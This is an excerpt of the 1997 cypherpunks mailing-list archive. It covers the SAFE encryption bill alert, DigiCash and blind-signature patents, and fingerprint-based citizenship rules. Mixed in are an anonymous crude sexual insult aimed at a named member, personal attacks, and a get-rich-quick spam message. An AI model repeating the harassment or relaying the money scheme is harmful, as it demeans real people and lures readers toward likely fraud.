Postage is as follows:

	surface to US - $3.00
	air to US - $5.00
	Canada - $5.00
	surface elsewhere - $5.00

Contact me if you want airmail overseas.  It's expensive.

Cheers,
Bruce

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 28 Apr 1997 20:21:50 -0700 (PDT)
To: announce@lists.zdnet.com
Subject: Re: ZDNet Special Offer:  PC Tech Forum Discount!
In-Reply-To: <JOB.3.zd.0.announce.0.text.zdbuild.29987.04281997200005.114470@tahiti.merc.com>
Message-ID: <199704290317.WAA13098@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In
<JOB.3.zd.0.announce.0.text.zdbuild.29987.04281997200005.114470@tahiti.merc.com>,
on 04/28/97 at 08:42 PM,
   announce@lists.zdnet.com said:


>PC Week and PC Magazine, co-sponsors of PC Tech Forum, have an  exclusive
>offer for ZDNet members: Attend PC Tech Forum on 
>May 20- 21 for a *SPECIAL* low rate of $995 - a $200 discount!

WOW!!! Only $995 to hear the Micro$oft Party Line. What A DEAL!!!! I'll be
sending my check out real soon, honest!!

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Dos: Venerable.  Windows: Vulnerable.  OS/2: Viable.

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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Qv8JOIMOZkXiwasxMXZlkleuSbONyYoK9SfNHPC5kxXZ/tdp+OeTEspPQhRAu+E9
jTNlObLVlpU/OP/2oDouMysOhbGegOIyiHndA1WTl5+3FcWpEu+ypn/mOahEowyZ
pKG7w3JhUWA=
=nyQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Mon, 28 Apr 1997 19:25:28 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ALERT: Groups urge passage of pro-crypto legislation (4/28/1997)
Message-ID: <199704290225.WAA25036@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| |   THE HOUSE PREPARES TO ENSURE ENCRYPTION
| |_| | |   |  _| | |_) || | | |    AND PRIVACY ON THE INTERNET; SAFE
|  _  | |___| |___|  _ < | | |_|     BILL (HR 695) ABOUT TO BE VOTED ON!
|_| |_|_____|_____|_| \_\|_| (_)               April 28, 1997

                 Do not forward this alert after June 1, 1997.

                        This alert brought to you by:

    Americans for Tax Reform            Center for Democracy and Technology
    Eagle Forum                         EF-Florida
    Electronic Frontier Foundation      Electronic Privacy Information Ctr.
    Voters Telecommunications Watch     Wired Magazine

_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do To Help Privacy And Security On The Internet
      Background On SAFE (HR 695)
      Why Is This Issue Important To Internet Users?
      About This Alert / Participating Organizations

_____________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

HOUSE JUDICIARY COMMITTEE TO VOTE ON "SAFE" PRO-INTERNET PRIVACY BILL

The House Judiciary Committee is set to vote on a bill designed to protect
privacy and promote electronic commerce on the Internet as early as the
second week of May.  The SAFE bill will also be considered by a Judiciary
subcommittee this week and is expected to pass without difficulty.

The House Judiciary committee vote on HR695 will mark a critical stage
in the effort to pass real reform of US encryption policy in a way that
protects privacy, promotes electronic commerce, and recognizes the
realities of the global Internet.

Although no bill is perfect, Internet advocates including CDT, EFF,
EPIC, VTW and others, including the Internet Privacy Coalition, have
expressed support for the bill.  Supporters agree that the SAFE bill
holds great promise for enhancing privacy and security on the Internet
and have offered their strong support and suggestions to improve it in
a detailed letter at http://www.privacy.org/ipc/safe_letter.html

Please take a moment to read the attached alert, and make a phone call 
to urge the committee to pass the bill.

_______________________________________________________________________
WHAT YOU CAN DO TO HELP PRIVACY AND SECURITY ON THE INTERNET

1. Check out the information on the SAFE bill below.

2. Call the Representative on the Judiciary committee from your state.  Note
   that there may be more than one person from your state on the committee.
   The list is enclosed below the telephone script.

   SAMPLE SCRIPT
      You:  <dial Capitol switchboard +1.202.224.3121>
            May I speak to the office of Rep. (INSERT NAME FROM LIST BELOW)

      Them: Hello, Rep. Mojo's office!

       You: May I speak with the staffer who deals with Internet or
            telecom issues?

      Them: One minute..

SAY    You: Hello!  HR695 will be voted on by the Judiciary committee in a
THIS->      couple of weeks.  I'm calling to urge Rep. Mojo to pass the
            bill because it's important to security and privacy on the
            Internet.
     
      Them: Thanks, goodbye!

       You: Goodbye! <click>

   If you have concerns about specific improvements to the bill, bringing
   them up when you're on the phone with the staffer is a good opportunity
   for raising issues. 

              Judiciary Committee Members (from committee Web page)

                        MR. HYDE (ILLINOIS), CHAIRMAN
    Mr. Sensenbrenner (Wisconsin)                Mr. Conyers (Michigan)
    Mr. McCollum (Florida)                       Mr. Frank (Massachusetts)
    Mr. Gekas (Pennsylvania)                     Mr. Schumer (New York)
    Mr. Coble (North Carolina)                   Mr. Berman (California)
    Mr. Smith (Texas)                            Mr. Boucher (Virginia)
    Mr. Schiff (New Mexico)                      Mr. Nadler (New York)
    Mr. Gallegly (California)                    Mr. Scott (Virginia)
    Mr. Canady (Florida)                         Mr. Watt (North Carolina)
    Mr. Inglis (South Carolina)                  Ms. Lofgren (California)
    Mr. Goodlatte (Virginia)                     Ms. Jackson Lee (Texas)
    Mr. Buyer (Indiana)                          Ms. Waters (California)
    Mr. Bono (California)                        Mr. Meehan (Massachusetts)
    Mr. Bryant (Tennessee)                       Mr. Delahunt (Massachusetts)
    Mr. Chabot (Ohio)                            Mr. Wexler (Florida)
    Mr. Barr (Georgia)                           Mr. Rothman (New Jersey)
    Mr. Jenkins (Tennessee)                      Mr. Hutchinson (Arkansas)
    Mr. Pease (Indiana)                          Mr. Cannon (Utah)

3. *IMPORTANT* Touch base with us at http://www.crypto.com/feedback/ and
   let us know how the phone call went.  Fill out the easy to use form to
   let us know what happened during your phone call.

4. Pass this alert on to others until June 1

   You've taken the first step to being a part of the powerful political
   force of Americans concerned about the health and safety of the Internet,
   but have your friends?  Forward this alert to them until June 1, 1997
   and urge them to adopt their legislator at http://www.crypto.com/adopt/

5. Be proud of yourself and relax!

   You've done more to protect the Internet in five minutes than many people
   will do this year.
   
________________________________________________________________________
BACKGROUND ON SAFE (HR 695)

In early May, the Judiciary Committee will be voting on whether to send
HR 695, the Security and Freedom Through Encryption (SAFE) Act, on to the
full House of Representatives.

The SAFE Bill, introduced by Reps. Bob Goodlatte (R-VA) and Anna Eshoo
(D-CA), would promote privacy and security on the Internet by:

* relaxing current export controls on encryption technologies;

* prohibiting the government from imposing "key-escrow" or "key-
  recovery" inside the United States, and;

* addresses concerns from law enforcement about the use of encryption
  in the furtherance of a crime.

The SAFE bill enjoys broad bi-partisan support and currently has 78
co-sponsors.

Although no bill is ever perfect, the SAFE bill, along with Pro-CODE, a
similar bill in the Senate sponsored by Sens. Burns (R-MT) and Leahy
(D-VT), represent the best chance yet of passing real reform of US
encryption policy.  The Senate Commerce Committee is expected to hold a
markup on Pro-CODE soon.

The Clinton Administration, through the FBI and NSA, is working hard
behind the scenes to block passage of SAFE and Pro-CODE. The
Administration favors an approach which would limit the availability of
privacy-protecting encryption technologies and compel American Citizens
to ensure law enforcement access to their private online
communications.

By passing the SAFE bill and sending on to the floor, the House
Judiciary Committee will send a strong signal to the Administration
that Congress is serious about passing real reform of US encryption
policy, and would represent an important victory in the fight for
privacy on the Internet.

Detailed background information, including the full text of the bill,
and analysis is available online at http://www.crypto.com/

______________________________________________________________________
WHY IS THIS ISSUE IMPORTANT TO INTERNET USERS?

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has proposed DOMESTIC
RESTRICTIONS on the ability of Americans to protect their privacy and
security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

_____________________________________________________________________________
ABOUT THIS ALERT / PARTICIPATING ORGANIZATIONS

For more information, contact the following organizations who have signed onto
this effort at their web sites.

Americans for Tax Reform                                 http://www.atr.org
Center for Democracy and Technology                      http://www.cdt.org
Eagle Forum                                       http://www.eagleforum.org
EF-Florida                                         http://www.efflorida.org
Electronic Frontier Foundation                           http://www.eff.org
Electronic Privacy Information Center                   http://www.epic.org
Voters Telecommunications Watch                          http://www.vtw.org
Wired Magazine                                         http://www.wired.com

_____________________________________________________________________________
end alert
==============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@healey.com.au>
Date: Mon, 28 Apr 1997 05:39:38 -0700 (PDT)
To: Damien Miller <dmiller@prometheus.projectx.com.au>
Subject: Re: Don Wood -- IPG
In-Reply-To: <199704280838.DAA08848@mailhub.amaranth.com>
Message-ID: <33649A3D.1CD32872@healey.com.au>
MIME-Version: 1.0
Content-Type: text/plain


> I understand now!
> 
> This is the output of said PRNG.
> 
> Damien

Exactly! But _only_ after using exact same output as input...how's
_that_ for a true RNG? ;)

Ben




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 28 Apr 1997 22:28:32 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ADMINISTRATIVIUM] BBN
In-Reply-To: <199704290035.RAA00276@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970428232611.146746C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

Come out of the closet Vulis.

> If Internet is the `information highway', then Tim 
> Mayhem is the roadside litter in the gutter.
> 
>       ' ' ' ' 
>       ^-O-O-^
>    -ooO--U--Ooo- Tim Mayhem
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 28 Apr 1997 22:54:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: off-topic/Flying cows
Message-ID: <TCPSMTP.17.4.29.1.48.2.2780269260.1621264@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I just had to forward this...<G>
(translated from a german newsservice)

 -=> Quoting In:germnews@listserv.gmd.de to Harka <=-

Last Page: Flying cow sinks japanese fishing boat

Wladiwostok. A cow fell out of an airplane before the siberian coast
and smashed onto japanese fishing boat, causing it to sink. That
reported the German Embassy in Moscow in an internal note to the
[german] State Department.

Appearantly a russian military plane was flying over the Ochotskian
sea with stolen cows on board; the cows started panicking and made
the airplane instable in it's flight - they weren't tied to the
walls. Therefore the pilots used the last possibility: they opened
the back door and moved the cows out of the machine. One of the cows
hit a japanese fishing boat and turned it over. The crew could save
themselves to the coast, where they were arrested by russian guards,
who wouldn't believe the cow story - until an investigation proved
it valid.

A russian official responsible for traffic is supposed to have
mentioned this case to the German Embassy as a strange example for
the terrible condition of russian flight safety. The State
Department would neither confirm nor deny the incident.


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

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Version: 2.6.2

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VQjrM/6s3hLapHYS09JNBh2B6MgI3HbAfTngY5qwwU4gq7ia646d8Sj/B/Qb+MJz
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/SAHJIh5KZTV692+Rdo/iHOrBVg0KoX+6fuVH+weYTw4+kBJtPKQjg==
=nFLz
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 29 Apr 1997 06:35:04 -0700 (PDT)
To: harka@nycmetro.com
Subject: Re: off-topic/Flying cows
In-Reply-To: <TCPSMTP.17.4.29.1.48.2.2780269260.1621264@nycmetro.com>
Message-ID: <3.0.1.32.19970429093600.007ca100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:48 AM 4/29/97 -0500, you wrote:

The Rest of the Story:

Terrorist Cow Dump Prompts Congrssional Action!

In a rapid response to terrorist cow dumping reported over the Pacific Ocean,
the United States Congress has passed and sent on to the President for his
signature a law making it illegal to drive cattle from flying aircraft over
any territory of the United States. President Clinton has previously stated
he will sign such a bill sent to him.

|-----BEGIN PGP SIGNED MESSAGE-----
|
|I just had to forward this...<G>
|(translated from a german newsservice)
|
| -=> Quoting In:germnews@listserv.gmd.de to Harka <=-
|
|Last Page: Flying cow sinks japanese fishing boat
|
|Wladiwostok. A cow fell out of an airplane before the siberian coast
|and smashed onto japanese fishing boat, causing it to sink. That
|reported the German Embassy in Moscow in an internal note to the
|[german] State Department.
|
|Appearantly a russian military plane was flying over the Ochotskian
|sea with stolen cows on board; the cows started panicking and made
|the airplane instable in it's flight - they weren't tied to the
|walls. Therefore the pilots used the last possibility: they opened
|the back door and moved the cows out of the machine. One of the cows
|hit a japanese fishing boat and turned it over. The crew could save
|themselves to the coast, where they were arrested by russian guards,
|who wouldn't believe the cow story - until an investigation proved
|it valid.
|
|A russian official responsible for traffic is supposed to have
|mentioned this case to the German Embassy as a strange example for
|the terrible condition of russian flight safety. The State
|Department would neither confirm nor deny the incident.
|
|
|Ciao
|
|Harka
[snip]
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GSZFbXEp0oY=
=+J+a
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 29 Apr 1997 08:21:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Chaum steps down as CEO of Digicash
In-Reply-To: <199704281753.KAA00589@crypt.hfinney.com>
Message-ID: <v03020919af8b9e12df33@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:53 pm -0400 on 4/28/97, Hal Finney wrote:

> Chaum's orientation towards privacy has not been well accepted by the
> conservative banking community (a similar point was made by Peter Swire
> in his article about payments and anonymity).

Again, financial privacy is like flight. To the people who invented it,
flight was an inherent good. People died trying to create it. However, the
thing which made flight commonplace was commerce. Flying is not only the
fastest way for people and other important things to get somewhere, but,
over great distances, it is simply the cheapest way for people to travel.
People don't purchase "wow, we can fly". They purchase economy seats to
Cleveland. :-).

The same thing with financial cryptography, and, by extension, strong
cryptography in general. What will sell financial cryptography is not
financial privacy per se. What will sell financial cryptography is the fact
that digital bearer certificate protocols will prove, by virtue of their
very *anonymity*, to be many orders of magnitude cheaper to use than any
internet transaction method of equal security. Or any transaction method at
all, for that matter. Including, of course, the book-entry transaction
settlement methods (like checks, credit cards, securities clearinghouses,
interbank settlement) we use today.

It is under *that* proposition alone, the potential for radical cost
reduction in *all* transaction settlement processes -- and the prospect for
radical economic transformation that that brings -- that the blind
signature patent should be marketed and licensed.


Notice I said "licensed".

Cryptographers -- and that is who Digicash is, nothing else, no matter how
hard they try to be otherwise -- should invent, license, and validate the
use of cryptographic protocols. And, clearly, there is no better financial
cryptographer in the world than David Chaum, the man who created, from
whole cloth, everything we consider to be modern financial cryptography.

Digicash should not try to be a financial trustee, or a certificate
underwriter, or even a software developer. All three things Digicash, BV,
has tried to be in its many previous incarnations. Now, it appears,
Digicash, Inc., is going to try to become the internet equivalent of a
credit card association. However, once you understand what Digicash's
strengths really are, you can see why this current strategy is just the
next progression in, I'm sorry to say, the fool's market that Digicash,
Inc., has become in terms of investment return.


So, you can understand how, sometimes, I'm very much afraid we'll have to
wait until this round of funding is burned through -- say 3 to 5 years --
before we see any progress in the market for digital bearer certificates.
And, if Digicash keeps finding a "greater fool" when the money runs out,
we'll end up waiting until 2007, the expiration date on the blind signature
patent, in order for anything to happen at all.


Yet, most of rest of the time, however, I'm not so pessimistic. I'm
convinced that if Digicash starts non-exclusive licensing of the blind
signature patent, and the other relevant Chaum patents it now controls,
even as an experiment, I expect that they would very soon find that their
profit margins on those licenses would dwarf the profits on all their other
projects.  Maybe then they'll realize they should stop trying to be
something else, and be what they what they have been all along: the very
best financial cryptographers in the world.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 29 Apr 1997 12:55:29 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704291837.LAA08960@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Mayflower studied yoga back-streching exercises for five years so he could 
blow himself (nobody else will).

 o/    \  /    \ /     /      \o
/ \    /  \    /o\    / |\    / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 29 Apr 1997 09:39:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Netscape plans to support GAK
Message-ID: <1.5.4.32.19970429163809.008c471c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:

>Yup. Looks like Barksdale(?) was right in his Pro-Excrow comments two years
>ago in Boston after all.
>
>Mr. Weinstein's Black Rhino Ammunition Inc. "Mr. Kevlar" award went for
>naught, I'm afraid...

While it might be too touchy for Netscaper cryptographers to address
openly, I wonder if there is not a scheme afoot to go along with the 
current restrictions in order to be better positioned to compete with 
others intending to launch robust encryption as soon as the leak in the 
dam globally breaks.

There may be more to this story than appears in the PR of
industry and government. The crypto fight may be a diversion.

Suppose the governments intend to relax crypto restrictions 
once other technologies to monitor electronic transactions are
in place and and enforcers have been trained to snare illegal 
transactors based on physical evidence of crime beyond the
digital. 

Recall that that's what Peter Neumann and others on the NRC 
crypto panel suggested as an agenda for the FBI to forego undue
crypto emphasis.

Is it not possible that the US and other nations will allow strong
encryption so long as other means are at hand to control any
action merely cloaked in encrypted language, as has been done
forever with stylistic literature and speech?

To, as with its predecessors, tolerate the artist of cryptoanarchy 
but guillotine the actor.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 29 Apr 1997 12:40:57 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Chaum steps down as CEO of Digicash
In-Reply-To: <v03020919af8b9e12df33@[139.167.130.246]>
Message-ID: <Pine.3.89.9704291221.A11950-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Apr 1997, Robert Hettinga wrote:

> At 1:53 pm -0400 on 4/28/97, Hal Finney wrote:
> 
> > Chaum's orientation towards privacy has not been well accepted by the
> > conservative banking community (a similar point was made by Peter Swire
> > in his article about payments and anonymity).

Having worked for DigiCash for more than one year before giving up on them
due to persistent billing problems, I can assure you that the privacy
features of Ecash have *nothing* to do with the failure of Ecash in the
marketplace. 

The blame for the failure of Ecash rests squarely and exclusively with 
DigiCash's management.

--Lucky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 29 Apr 1997 12:36:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v03020919af8b9e12df33@[139.167.130.246]>
Message-ID: <v0302093eaf8be0697540@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:54 pm -0400 on 4/29/97, Tim May wrote:


> At 6:19 AM -0800 4/29/97, Robert Hettinga wrote:
>
> >And, if Digicash keeps finding a "greater fool" when the money runs out,
> >we'll end up waiting until 2007, the expiration date on the blind signature
> >patent, in order for anything to happen at all.
>
>
> Recall that there are at least two major bypasses of the blind signature
> patent: the Doug Barnes "identity agnostic" approach and the Ian Goldberg
> work on moneychangers and "everyone a mint."

I certainly wasn't ignoring these guys. I suppose if you're going to be
issuing certificates in, holding the money in trust for, or even writing
commercial software for some kind of digital bearer certificate market, it
would probably be a good idea not to fight off lawsuits all the time from
the acknowleged patent holder, whether or not they're justified.

Of course there's the counterexample in aviation of Curtiss, who fought off
the Wright brothers for years to great effect, after fairly outright patent
theft.

> I happen to agree that Chaum is the pioneer of much that we consider core
> Cypherpunks technology. And I wish him well and hope he someday recoups his
> investments in Digicash and ends up making money. But I agree with Bob's
> points about the mistakes Digicash has made...and this is not some opinion
> I have come to in hindsight: I, and others, expressed these views several
> years ago.

I really didn't understand this myself until maybe two years ago, when I
applied the physical bearer certificate model to a hypothetical market for
digital bearer certificates. The whole problem crystallizes when you look
at it that way. In that context, Digicash is more like the Crane paper
company, or better, the folks who invent the doodlers and stuff to make
very complex intaglio printing possible, not even the press manufacturer.
Certainly very necessary technology, in fact the defining technology, but
not quite sufficient by itself to create a market. ;-).

> (One such expression was in an article I did a few years ago about how
> software patents are instrinsically poorly "metered."
<snip>
> The situation is
> vastly different with software patents, and this is holding back such
> innovations. I have no real solution, except to simply advocate
> "liberation" of such things...if it can't be protected without an intrusive
> police state, screw the supposed property rights. Schelling points, David
> Post's "code," and all that...sorry for the elliptic (not curve)
> references.)

Oddly enough, it's quite possible to have perfectly pseudonymous digital
bearer certificate markets where the protocol inventor is fairly
compensated for inventing the protocol. The key is to use the trustee as
the policeman of the market, the place where the meter "clicks". Since the
exchange of certificates into other kinds of money (be it other
certificates, book-entries, or commodities of some kind) must go through
the trustee at some point, the trustee can, as part of the trust agreement
with the holders of the certificates, give some share of transaction fee or
interest income to the protocol designer, in addition to what is paid to
the underwriter. The trustee is renting their reputation to the transaction
process anyway, so it is the best entity to increment the meter fairly on
the designer's behalf.

Look, Ma, no nation-state!

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 29 Apr 1997 15:17:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Fingerprint Stego
Message-ID: <199704292217.PAA13810@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> At 12:37 PM 4/29/97 -0700, Mike Duvos thoughtfully wrote:
> |A funny story in last night's Seattle Times...
> |
> |It seems the INS and FBI are unwilling to grant US citizenship to
> |persons without legible fingerprints.
> 
> [snip]
> 
> Fingerprint escrow?
> 
> Does this mean that, ipso facto (I love it), physically challenged
> individuals with missing or deformed hands are excluded regardless of other
> qualifications? What a monstrosity of a rule!

  Also, can one have one's citizenship revoked if they lose their
fingers in a bizarre chainsaw accident? Or if the "Circle of Eunuchs"
performs finger-castration on them because they are caught *fingering*
people while they sleep?

  Why are not alternative methods of identification used, such as 
placing a tattoo on their arms? Or remove the threat they pose to
others, by placing them in camps?

  Other, more crypto-relevant, concerns arise when one considers
whether this fingerprint-anonymity is perhaps a form of biological
cryptography.
  Is the person breaking any laws if their fingers leave the 
country? Can they be required to cut off one of their fingers
and send it to the government under fingerprint-crypto escrow laws?

  Perhaps we need a "Truth in Spokespersoning" law which would
require spokespersons to tell it like it is:
  "We regret to announce that we cannot allow this person to become
a citizen, because we consider citizens to be the property of the
state, and we need to be able to identify our property.
  "Of course, there may be other ways to mark the person for
identification by the state, but we are too stupid, anal-retentive
and uncaring to concern ourselves with looking into these areas.
  "Besides, we don't have to. We're the government and we can do
whatever silly, stupid, uncaring and unjust things we want to our 
citizens without suffering any consequences for our actions."

FingerMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 73609724@32117.com
Date: Wed, 30 Apr 1997 01:21:38 -0700 (PDT)
To: yyy@zzzdoe1.com
Subject: Show Me The Money !!!
Message-ID: <1887021673627.GAA08056@jeanjacket.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Friend...
   Forgive the intrusion, but I am compelled to tell you of a simple,
*ingenious* way to make a lot of money. It's very easy, costs peanuts 
to participate in, and you can make $50,000 or more in less than 90 
days within the comfort of your own home. 
   Do you want to make your financial dreams come true? This will make you 
a  LOT of money easily and your dreams a reality.
  
   To receive full information quickly, just double click on the 
highlighted link below and send us a blank e-mail message:

 sandk@answerme.com

(Serious inquiries only please) 

If you choose not to participate in this program, I am sorry. It 
really is a great opportunity with little cost or risk to you. If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

 
Thank you for your time

Sincerely,
  S&K Consulting 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 29 Apr 1997 16:05:06 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704291837.LAA08960@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970429170343.148854A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 29 Apr 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

>
Timothy Mayflower studied yoga back-streching exercises for five
years so he could 
> blow himself (nobody else will).
> 
>  o/    \  /    \ /     /      \o
> / \    /  \    /o\    / |\    / \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 29 Apr 1997 14:03:41 -0700 (PDT)
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Fingerprint Stego
In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com>
Message-ID: <3.0.1.32.19970429170432.007f4dd0@smtp1.abraxis.com>
